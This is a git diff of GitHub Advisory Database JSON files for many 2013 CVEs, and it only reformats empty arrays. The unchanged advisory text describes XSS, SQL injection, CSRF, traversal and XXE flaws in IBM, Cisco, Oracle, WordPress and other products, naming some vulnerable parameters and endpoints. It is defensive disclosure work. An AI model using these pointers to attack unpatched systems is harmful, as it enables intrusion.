b/advisories/unreviewed/2022/05/GHSA-gr95-2p5v-jmcg/GHSA-gr95-2p5v-jmcg.json index bd69a200de1..d335932d122 100644 --- a/advisories/unreviewed/2022/05/GHSA-gr95-2p5v-jmcg/GHSA-gr95-2p5v-jmcg.json +++ b/advisories/unreviewed/2022/05/GHSA-gr95-2p5v-jmcg/GHSA-gr95-2p5v-jmcg.json @@ -7,12 +7,8 @@ "CVE-2013-4022" ], "details": "IBM Data Studio Web Console 3.x before 3.2, Optim Performance Manager 5.x before 5.2, InfoSphere Optim Configuration Manager 2.x before 2.2, and DB2 Recovery Expert 2.x store unspecified authentication information in a cookie, which allows remote authenticated users to bypass intended access restrictions via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-gvhf-wvw5-qr93/GHSA-gvhf-wvw5-qr93.json b/advisories/unreviewed/2022/05/GHSA-gvhf-wvw5-qr93/GHSA-gvhf-wvw5-qr93.json index a85b8bad6b1..4294d8e716d 100644 --- a/advisories/unreviewed/2022/05/GHSA-gvhf-wvw5-qr93/GHSA-gvhf-wvw5-qr93.json +++ b/advisories/unreviewed/2022/05/GHSA-gvhf-wvw5-qr93/GHSA-gvhf-wvw5-qr93.json @@ -7,12 +7,8 @@ "CVE-2013-4019" ], "details": "Cross-site scripting (XSS) vulnerability in IBM Maximo Asset Management 6.2 through 6.2.8 and 7.1 before 7.1.1.12 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-gx3g-wwc6-f43p/GHSA-gx3g-wwc6-f43p.json b/advisories/unreviewed/2022/05/GHSA-gx3g-wwc6-f43p/GHSA-gx3g-wwc6-f43p.json index 109d7100465..518a0b362e7 100644 --- a/advisories/unreviewed/2022/05/GHSA-gx3g-wwc6-f43p/GHSA-gx3g-wwc6-f43p.json +++ b/advisories/unreviewed/2022/05/GHSA-gx3g-wwc6-f43p/GHSA-gx3g-wwc6-f43p.json @@ -7,12 +7,8 @@ "CVE-2013-5382" ], "details": "IBM Maximo Asset Management 6.2 through 6.2.8, 7.1 before 7.1.1.12, and 7.5 before 7.5.0.5 allows remote authenticated users to gain privileges via unspecified vectors, a different vulnerability than CVE-2013-5383.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-gxvq-r3px-2779/GHSA-gxvq-r3px-2779.json b/advisories/unreviewed/2022/05/GHSA-gxvq-r3px-2779/GHSA-gxvq-r3px-2779.json index 665d583b906..8751cab835f 100644 --- a/advisories/unreviewed/2022/05/GHSA-gxvq-r3px-2779/GHSA-gxvq-r3px-2779.json +++ b/advisories/unreviewed/2022/05/GHSA-gxvq-r3px-2779/GHSA-gxvq-r3px-2779.json @@ -7,12 +7,8 @@ "CVE-2013-5497" ], "details": "The authentication manager process in the web framework in Cisco Intrusion Prevention System (IPS) does not properly handle user tokens, which allows remote attackers to cause a denial of service (intermittent MainApp hang) via a crafted management-interface connection request, aka Bug ID CSCuf20148.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-gxxf-63jm-q2wf/GHSA-gxxf-63jm-q2wf.json b/advisories/unreviewed/2022/05/GHSA-gxxf-63jm-q2wf/GHSA-gxxf-63jm-q2wf.json index cb429af6877..9d81d56e65b 100644 --- a/advisories/unreviewed/2022/05/GHSA-gxxf-63jm-q2wf/GHSA-gxxf-63jm-q2wf.json +++ b/advisories/unreviewed/2022/05/GHSA-gxxf-63jm-q2wf/GHSA-gxxf-63jm-q2wf.json @@ -7,12 +7,8 @@ "CVE-2013-5672" ], "details": "Multiple cross-site request forgery (CSRF) vulnerabilities in the IndiaNIC Testimonial plugin 2.2 for WordPress allow remote attackers to hijack the authentication of administrators for requests that (1) add a testimonial via an iNIC_testimonial_save action; (2) add a listing template via an iNIC_testimonial_save_listing_template action; (3) add a widget template via an iNIC_testimonial_save_widget action; insert cross-site scripting (XSS) sequences via the (4) project_name, (5) project_url, (6) client_name, (7) client_city, (8) client_state, (9) description, (10) tags, (11) video_url, or (12) is_featured, (13) title, (14) widget_title, (15) no_of_testimonials, (16) filter_by_country, (17) filter_by_tags, or (18) widget_template parameter to wp-admin/admin-ajax.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-h537-j2f2-7q2v/GHSA-h537-j2f2-7q2v.json b/advisories/unreviewed/2022/05/GHSA-h537-j2f2-7q2v/GHSA-h537-j2f2-7q2v.json index 13cb4656da5..226b04b8242 100644 --- a/advisories/unreviewed/2022/05/GHSA-h537-j2f2-7q2v/GHSA-h537-j2f2-7q2v.json +++ b/advisories/unreviewed/2022/05/GHSA-h537-j2f2-7q2v/GHSA-h537-j2f2-7q2v.json @@ -7,12 +7,8 @@ "CVE-2013-3973" ], "details": "SQL injection vulnerability in IBM Maximo Asset Management 7.1 before 7.1.1.12 and 7.5 before 7.5.0.5 allows remote authenticated users to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-h598-x723-7q5g/GHSA-h598-x723-7q5g.json b/advisories/unreviewed/2022/05/GHSA-h598-x723-7q5g/GHSA-h598-x723-7q5g.json index f6762ae449e..312a5be98c9 100644 --- a/advisories/unreviewed/2022/05/GHSA-h598-x723-7q5g/GHSA-h598-x723-7q5g.json +++ b/advisories/unreviewed/2022/05/GHSA-h598-x723-7q5g/GHSA-h598-x723-7q5g.json @@ -7,12 +7,8 @@ "CVE-2013-6315" ], "details": "IBM InfoSphere Enterprise Records 4.5.1 before 4.5.1.7-IER-IF001 and Enterprise Records 5.1.1 before 5.1.1.1-IER-IF003 do not properly restrict use of FRAME elements, which makes it easier for remote attackers to conduct clickjacking attacks via a crafted web site.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-h64f-rhqv-5hg8/GHSA-h64f-rhqv-5hg8.json b/advisories/unreviewed/2022/05/GHSA-h64f-rhqv-5hg8/GHSA-h64f-rhqv-5hg8.json index c23d4467683..11b2ea25a6d 100644 --- a/advisories/unreviewed/2022/05/GHSA-h64f-rhqv-5hg8/GHSA-h64f-rhqv-5hg8.json +++ b/advisories/unreviewed/2022/05/GHSA-h64f-rhqv-5hg8/GHSA-h64f-rhqv-5hg8.json @@ -7,12 +7,8 @@ "CVE-2013-3921" ], "details": "Directory traversal vulnerability in Easytime Studio Easy File Manager 1.1 for iOS allows remote attackers to read arbitrary files via a ..%2f (encoded dot dot slash) to the default URI.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-h799-43v5-pgxw/GHSA-h799-43v5-pgxw.json b/advisories/unreviewed/2022/05/GHSA-h799-43v5-pgxw/GHSA-h799-43v5-pgxw.json index b293a5b2464..0d03b6ec53c 100644 --- a/advisories/unreviewed/2022/05/GHSA-h799-43v5-pgxw/GHSA-h799-43v5-pgxw.json +++ b/advisories/unreviewed/2022/05/GHSA-h799-43v5-pgxw/GHSA-h799-43v5-pgxw.json @@ -7,12 +7,8 @@ "CVE-2013-4519" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in Review Board 1.6.x before 1.6.21 and 1.7.x before 1.7.17 allow remote attackers to inject arbitrary web script or HTML via the (1) Branch field or (2) caption of an uploaded file.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-h7hw-h27f-8v84/GHSA-h7hw-h27f-8v84.json b/advisories/unreviewed/2022/05/GHSA-h7hw-h27f-8v84/GHSA-h7hw-h27f-8v84.json index a96e30602a3..5ef163b88f6 100644 --- a/advisories/unreviewed/2022/05/GHSA-h7hw-h27f-8v84/GHSA-h7hw-h27f-8v84.json +++ b/advisories/unreviewed/2022/05/GHSA-h7hw-h27f-8v84/GHSA-h7hw-h27f-8v84.json @@ -7,12 +7,8 @@ "CVE-2013-5524" ], "details": "Cross-site scripting (XSS) vulnerability in the troubleshooting page in Cisco Identity Services Engine (ISE) 1.2 and earlier allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter, aka Bug ID CSCug77655.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-h878-7h69-2c69/GHSA-h878-7h69-2c69.json b/advisories/unreviewed/2022/05/GHSA-h878-7h69-2c69/GHSA-h878-7h69-2c69.json index b29747423e9..3930b632e49 100644 --- a/advisories/unreviewed/2022/05/GHSA-h878-7h69-2c69/GHSA-h878-7h69-2c69.json +++ b/advisories/unreviewed/2022/05/GHSA-h878-7h69-2c69/GHSA-h878-7h69-2c69.json @@ -7,12 +7,8 @@ "CVE-2013-5409" ], "details": "Multiple SQL injection vulnerabilities in IBM Sterling B2B Integrator 5.2 and Sterling File Gateway 2.2 allow remote authenticated users to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-h87q-x762-56xg/GHSA-h87q-x762-56xg.json b/advisories/unreviewed/2022/05/GHSA-h87q-x762-56xg/GHSA-h87q-x762-56xg.json index d05237036a3..6284031a671 100644 --- a/advisories/unreviewed/2022/05/GHSA-h87q-x762-56xg/GHSA-h87q-x762-56xg.json +++ b/advisories/unreviewed/2022/05/GHSA-h87q-x762-56xg/GHSA-h87q-x762-56xg.json @@ -7,12 +7,8 @@ "CVE-2013-7278" ], "details": "SQL injection vulnerability in Naxtech CMS Afroditi 1.0 allows remote attackers to execute arbitrary SQL commands via the id parameter to default.asp.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-h8g8-f8qf-7h4h/GHSA-h8g8-f8qf-7h4h.json b/advisories/unreviewed/2022/05/GHSA-h8g8-f8qf-7h4h/GHSA-h8g8-f8qf-7h4h.json index eacd661c82b..7b912821f8f 100644 --- a/advisories/unreviewed/2022/05/GHSA-h8g8-f8qf-7h4h/GHSA-h8g8-f8qf-7h4h.json +++ b/advisories/unreviewed/2022/05/GHSA-h8g8-f8qf-7h4h/GHSA-h8g8-f8qf-7h4h.json @@ -7,12 +7,8 @@ "CVE-2013-6198" ], "details": "Cross-site scripting (XSS) vulnerability in HP Service Manager WebTier and Windows Client 9.20 and 9.21 before 9.21.661 p8 allows remote attackers to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-h96p-hq83-xhqq/GHSA-h96p-hq83-xhqq.json b/advisories/unreviewed/2022/05/GHSA-h96p-hq83-xhqq/GHSA-h96p-hq83-xhqq.json index 222838d71e0..2daff243b2c 100644 --- a/advisories/unreviewed/2022/05/GHSA-h96p-hq83-xhqq/GHSA-h96p-hq83-xhqq.json +++ b/advisories/unreviewed/2022/05/GHSA-h96p-hq83-xhqq/GHSA-h96p-hq83-xhqq.json @@ -7,12 +7,8 @@ "CVE-2013-3777" ], "details": "Unspecified vulnerability in the Oracle Application Object Library component in Oracle E-Business Suite 11.5.10.2, 12.0.6, and 12.1.3 allows remote attackers to affect integrity via unknown vectors related to Signon.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -44,9 +40,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-h9pw-g98h-m66f/GHSA-h9pw-g98h-m66f.json b/advisories/unreviewed/2022/05/GHSA-h9pw-g98h-m66f/GHSA-h9pw-g98h-m66f.json index b9e2c4dc07d..408d36b5f19 100644 --- a/advisories/unreviewed/2022/05/GHSA-h9pw-g98h-m66f/GHSA-h9pw-g98h-m66f.json +++ b/advisories/unreviewed/2022/05/GHSA-h9pw-g98h-m66f/GHSA-h9pw-g98h-m66f.json @@ -7,12 +7,8 @@ "CVE-2013-6314" ], "details": "Cross-site scripting (XSS) vulnerability in IBM InfoSphere Enterprise Records 4.5.1 before 4.5.1.7-IER-IF001 and Enterprise Records 5.1.1 before 5.1.1.1-IER-IF003 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hf69-32w4-4p43/GHSA-hf69-32w4-4p43.json b/advisories/unreviewed/2022/05/GHSA-hf69-32w4-4p43/GHSA-hf69-32w4-4p43.json index bcf4f52a09d..802f7396a88 100644 --- a/advisories/unreviewed/2022/05/GHSA-hf69-32w4-4p43/GHSA-hf69-32w4-4p43.json +++ b/advisories/unreviewed/2022/05/GHSA-hf69-32w4-4p43/GHSA-hf69-32w4-4p43.json @@ -7,12 +7,8 @@ "CVE-2013-5863" ], "details": "Unspecified vulnerability in Oracle Solaris 11.1 allows remote attackers to affect integrity via vectors related to IPS repository daemon.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -36,9 +32,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-hg37-h685-mx9f/GHSA-hg37-h685-mx9f.json b/advisories/unreviewed/2022/05/GHSA-hg37-h685-mx9f/GHSA-hg37-h685-mx9f.json index 6ecdba2d14a..ea37b306a20 100644 --- a/advisories/unreviewed/2022/05/GHSA-hg37-h685-mx9f/GHSA-hg37-h685-mx9f.json +++ b/advisories/unreviewed/2022/05/GHSA-hg37-h685-mx9f/GHSA-hg37-h685-mx9f.json @@ -7,12 +7,8 @@ "CVE-2013-3662" ], "details": "Timbre SketchUp (formerly Google SketchUp) before 8 Maintenance 2 allows remote attackers to execute arbitrary code via a crafted color palette table in a MAC Pict texture, which triggers a stack-based buffer overflow.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hgv7-cv7x-5m8g/GHSA-hgv7-cv7x-5m8g.json b/advisories/unreviewed/2022/05/GHSA-hgv7-cv7x-5m8g/GHSA-hgv7-cv7x-5m8g.json index d1f5f254796..8660671b826 100644 --- a/advisories/unreviewed/2022/05/GHSA-hgv7-cv7x-5m8g/GHSA-hgv7-cv7x-5m8g.json +++ b/advisories/unreviewed/2022/05/GHSA-hgv7-cv7x-5m8g/GHSA-hgv7-cv7x-5m8g.json @@ -7,12 +7,8 @@ "CVE-2013-6319" ], "details": "IBM Algo One, as used in MetaData Management Tools in UDS 4.7.0 through 5.0.0, ACSWeb in Algo Security Access Control Management 4.7.0 through 4.9.0, and ACSWeb in AlgoWebApps 5.0.0, allows remote authenticated users to bypass intended access restrictions and read content via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -28,9 +24,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-hh3w-5666-ggp2/GHSA-hh3w-5666-ggp2.json b/advisories/unreviewed/2022/05/GHSA-hh3w-5666-ggp2/GHSA-hh3w-5666-ggp2.json index ebb04c96d8f..02df0d65beb 100644 --- a/advisories/unreviewed/2022/05/GHSA-hh3w-5666-ggp2/GHSA-hh3w-5666-ggp2.json +++ b/advisories/unreviewed/2022/05/GHSA-hh3w-5666-ggp2/GHSA-hh3w-5666-ggp2.json @@ -7,12 +7,8 @@ "CVE-2013-4369" ], "details": "The xlu_vif_parse_rate function in the libxlu library in Xen 4.2.x and 4.3.x allows local users to cause a denial of service (NULL pointer dereference) by using the \"@\" character as the VIF rate configuration.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "LOW", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-hmc5-xr4g-9wfh/GHSA-hmc5-xr4g-9wfh.json b/advisories/unreviewed/2022/05/GHSA-hmc5-xr4g-9wfh/GHSA-hmc5-xr4g-9wfh.json index 667ad59444c..05f4ce5af6f 100644 --- a/advisories/unreviewed/2022/05/GHSA-hmc5-xr4g-9wfh/GHSA-hmc5-xr4g-9wfh.json +++ b/advisories/unreviewed/2022/05/GHSA-hmc5-xr4g-9wfh/GHSA-hmc5-xr4g-9wfh.json @@ -7,12 +7,8 @@ "CVE-2013-4384" ], "details": "Cross-site scripting (XSS) vulnerability in Google Site Search module 6.x-1.x before 6.x-1.4 and 7.x-1.x before 7.x-1.10 for Drupal allows remote attackers to inject arbitrary web script or HTML by causing crafted data to be returned by the Google API.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hpcq-gmff-rm7f/GHSA-hpcq-gmff-rm7f.json b/advisories/unreviewed/2022/05/GHSA-hpcq-gmff-rm7f/GHSA-hpcq-gmff-rm7f.json index 57be172f04f..ee236bcc9ca 100644 --- a/advisories/unreviewed/2022/05/GHSA-hpcq-gmff-rm7f/GHSA-hpcq-gmff-rm7f.json +++ b/advisories/unreviewed/2022/05/GHSA-hpcq-gmff-rm7f/GHSA-hpcq-gmff-rm7f.json @@ -7,12 +7,8 @@ "CVE-2013-4055" ], "details": "Cross-site scripting (XSS) vulnerability in webadmin.nsf in Domino Web Administrator in IBM Domino 8.5 and 9.0 allows remote authenticated users to inject arbitrary web script or HTML via unspecified vectors, a different vulnerability than CVE-2013-4051.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hppj-75xv-wcp5/GHSA-hppj-75xv-wcp5.json b/advisories/unreviewed/2022/05/GHSA-hppj-75xv-wcp5/GHSA-hppj-75xv-wcp5.json index a427b0d8f83..faae4cef613 100644 --- a/advisories/unreviewed/2022/05/GHSA-hppj-75xv-wcp5/GHSA-hppj-75xv-wcp5.json +++ b/advisories/unreviewed/2022/05/GHSA-hppj-75xv-wcp5/GHSA-hppj-75xv-wcp5.json @@ -7,12 +7,8 @@ "CVE-2013-2601" ], "details": "The NDVM in Citrix XenClient XT before 2.1.3 and 3.x before 3.1.4 allows remote attackers to execute arbitrary commands by using the UIVM to create a network connection.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -32,9 +28,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-hq7g-f3hc-wjxw/GHSA-hq7g-f3hc-wjxw.json b/advisories/unreviewed/2022/05/GHSA-hq7g-f3hc-wjxw/GHSA-hq7g-f3hc-wjxw.json index f9cfa79998d..8e0d8437bb7 100644 --- a/advisories/unreviewed/2022/05/GHSA-hq7g-f3hc-wjxw/GHSA-hq7g-f3hc-wjxw.json +++ b/advisories/unreviewed/2022/05/GHSA-hq7g-f3hc-wjxw/GHSA-hq7g-f3hc-wjxw.json @@ -7,12 +7,8 @@ "CVE-2013-2651" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in BoltWire 3.5 and earlier allow remote attackers to inject arbitrary web script or HTML via the (1) \"p\" or (2) content parameter to index.php.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hqf7-j2fw-vpfj/GHSA-hqf7-j2fw-vpfj.json b/advisories/unreviewed/2022/05/GHSA-hqf7-j2fw-vpfj/GHSA-hqf7-j2fw-vpfj.json index 6a780fa237f..c62fd8d15a4 100644 --- a/advisories/unreviewed/2022/05/GHSA-hqf7-j2fw-vpfj/GHSA-hqf7-j2fw-vpfj.json +++ b/advisories/unreviewed/2022/05/GHSA-hqf7-j2fw-vpfj/GHSA-hqf7-j2fw-vpfj.json @@ -7,12 +7,8 @@ "CVE-2013-6005" ], "details": "Cross-site scripting (XSS) vulnerability in Cybozu Dezie before 8.1.0 allows remote attackers to inject arbitrary web script or HTML via vectors related to the Cancel button.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hqhc-52p7-qm56/GHSA-hqhc-52p7-qm56.json b/advisories/unreviewed/2022/05/GHSA-hqhc-52p7-qm56/GHSA-hqhc-52p7-qm56.json index f527326c214..bc53451e909 100644 --- a/advisories/unreviewed/2022/05/GHSA-hqhc-52p7-qm56/GHSA-hqhc-52p7-qm56.json +++ b/advisories/unreviewed/2022/05/GHSA-hqhc-52p7-qm56/GHSA-hqhc-52p7-qm56.json @@ -7,12 +7,8 @@ "CVE-2013-6330" ], "details": "IBM WebSphere Application Server 7.x before 7.0.0.31, when simpleFileServlet static file caching is enabled, allows remote authenticated users to obtain sensitive information via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hqm3-7pcf-f37w/GHSA-hqm3-7pcf-f37w.json b/advisories/unreviewed/2022/05/GHSA-hqm3-7pcf-f37w/GHSA-hqm3-7pcf-f37w.json index 771074aa6c7..2389d8b2602 100644 --- a/advisories/unreviewed/2022/05/GHSA-hqm3-7pcf-f37w/GHSA-hqm3-7pcf-f37w.json +++ b/advisories/unreviewed/2022/05/GHSA-hqm3-7pcf-f37w/GHSA-hqm3-7pcf-f37w.json @@ -7,12 +7,8 @@ "CVE-2013-7140" ], "details": "XML External Entity (XXE) vulnerability in the CalDAV interface in Open-Xchange (OX) AppSuite 7.4.1 and earlier allows remote authenticated users to read portions of arbitrary files via vectors related to the SAX builder and the WebDAV interface. NOTE: this issue has been labeled as both absolute path traversal and XXE, but the root cause may be XXE, since XXE can be exploited to conduct absolute path traversal and other attacks.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-hqvx-h935-fr7c/GHSA-hqvx-h935-fr7c.json b/advisories/unreviewed/2022/05/GHSA-hqvx-h935-fr7c/GHSA-hqvx-h935-fr7c.json index 28c60b3c3a7..afdf9a0dc0d 100644 --- a/advisories/unreviewed/2022/05/GHSA-hqvx-h935-fr7c/GHSA-hqvx-h935-fr7c.json +++ b/advisories/unreviewed/2022/05/GHSA-hqvx-h935-fr7c/GHSA-hqvx-h935-fr7c.json @@ -7,12 +7,8 @@ "CVE-2013-7279" ], "details": "Cross-site scripting (XSS) vulnerability in views/video-management/preview_video.php in the S3 Video plugin before 0.983 for WordPress allows remote attackers to inject arbitrary web script or HTML via the base parameter.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hr57-8758-g5fp/GHSA-hr57-8758-g5fp.json b/advisories/unreviewed/2022/05/GHSA-hr57-8758-g5fp/GHSA-hr57-8758-g5fp.json index 7e905585321..4b12a26389c 100644 --- a/advisories/unreviewed/2022/05/GHSA-hr57-8758-g5fp/GHSA-hr57-8758-g5fp.json +++ b/advisories/unreviewed/2022/05/GHSA-hr57-8758-g5fp/GHSA-hr57-8758-g5fp.json @@ -7,12 +7,8 @@ "CVE-2013-5310" ], "details": "SQL injection vulnerability in the DB Integration (wfqbe) extension before 2.0.1 for TYPO3 allows remote attackers to execute arbitrary SQL commands via unspecified vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hvj6-wwgr-4g8v/GHSA-hvj6-wwgr-4g8v.json b/advisories/unreviewed/2022/05/GHSA-hvj6-wwgr-4g8v/GHSA-hvj6-wwgr-4g8v.json index 87efea98863..cfc2242a10f 100644 --- a/advisories/unreviewed/2022/05/GHSA-hvj6-wwgr-4g8v/GHSA-hvj6-wwgr-4g8v.json +++ b/advisories/unreviewed/2022/05/GHSA-hvj6-wwgr-4g8v/GHSA-hvj6-wwgr-4g8v.json @@ -7,12 +7,8 @@ "CVE-2013-3807" ], "details": "Unspecified vulnerability in the MySQL Server component in Oracle MySQL 5.6.11 and earlier allows remote attackers to affect confidentiality and integrity via unknown vectors related to Server Privileges.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -48,9 +44,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "MODERATE", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-hw35-qh8m-2qg3/GHSA-hw35-qh8m-2qg3.json b/advisories/unreviewed/2022/05/GHSA-hw35-qh8m-2qg3/GHSA-hw35-qh8m-2qg3.json index 674aafae0ec..fee4e11dd78 100644 --- a/advisories/unreviewed/2022/05/GHSA-hw35-qh8m-2qg3/GHSA-hw35-qh8m-2qg3.json +++ b/advisories/unreviewed/2022/05/GHSA-hw35-qh8m-2qg3/GHSA-hw35-qh8m-2qg3.json @@ -7,12 +7,8 @@ "CVE-2013-2671" ], "details": "Multiple cross-site scripting (XSS) vulnerabilities in the Brother MFC-9970CDW printer with firmware L (1.10) allow remote attackers to inject arbitrary web script or HTML via the (1) id or (2) val parameter to admin/admin_main.html; (3) id, (4) val, or (5) arbitrary parameter name (QUERY_STRING) to admin/profile_settings_net.html; or (6) kind or (7) arbitrary parameter name (QUERY_STRING) to fax/general_setup.html, a different vulnerability than CVE-2013-2507 and CVE-2013-2670.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hw48-wq5r-qc92/GHSA-hw48-wq5r-qc92.json b/advisories/unreviewed/2022/05/GHSA-hw48-wq5r-qc92/GHSA-hw48-wq5r-qc92.json index cec6a442209..9700f126a45 100644 --- a/advisories/unreviewed/2022/05/GHSA-hw48-wq5r-qc92/GHSA-hw48-wq5r-qc92.json +++ b/advisories/unreviewed/2022/05/GHSA-hw48-wq5r-qc92/GHSA-hw48-wq5r-qc92.json @@ -7,12 +7,8 @@ "CVE-2013-4807" ], "details": "Unspecified vulnerability on the HP LaserJet Pro P1102w, P1606dn, M1212nf MFP, M1213nf MFP, M1214nfh MFP, M1216nfh MFP, M1217nfw MFP, M1218nfs MFP, and CP1025nw with firmware before 2013-07-26 20130703 allows remote attackers to modify data via unknown vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", @@ -40,9 +36,7 @@ } ], "database_specific": { - "cwe_ids": [ - - ], + "cwe_ids": [], "severity": "HIGH", "github_reviewed": false, "github_reviewed_at": null, diff --git a/advisories/unreviewed/2022/05/GHSA-hw9g-wm2x-4jf4/GHSA-hw9g-wm2x-4jf4.json b/advisories/unreviewed/2022/05/GHSA-hw9g-wm2x-4jf4/GHSA-hw9g-wm2x-4jf4.json index b6e35bf1940..f63bb93988c 100644 --- a/advisories/unreviewed/2022/05/GHSA-hw9g-wm2x-4jf4/GHSA-hw9g-wm2x-4jf4.json +++ b/advisories/unreviewed/2022/05/GHSA-hw9g-wm2x-4jf4/GHSA-hw9g-wm2x-4jf4.json @@ -7,12 +7,8 @@ "CVE-2013-3983" ], "details": "The Meeting Server in IBM Sametime 8.5.2 through 8.5.2.1 and 9.x through 9.0.0.1 does not validate URLs in Cookie headers before using them in redirects, which has unspecified impact and remote attack vectors.", - "severity": [ - - ], - "affected": [ - - ], + "severity": [], + "affected": [], "references": [ { "type": "ADVISORY", diff --git a/advisories/unreviewed/2022/05/GHSA-hwp3-c628-9f7v/GHSA-hwp3-c628-9f7v.json b/advisories/unreviewed/2022/05/GHSA-hwp3-c628-9f7v/GHSA-hwp3-c628-9f7v.json index 2d0d2ee914e..0aa284b80b5 100644 --- 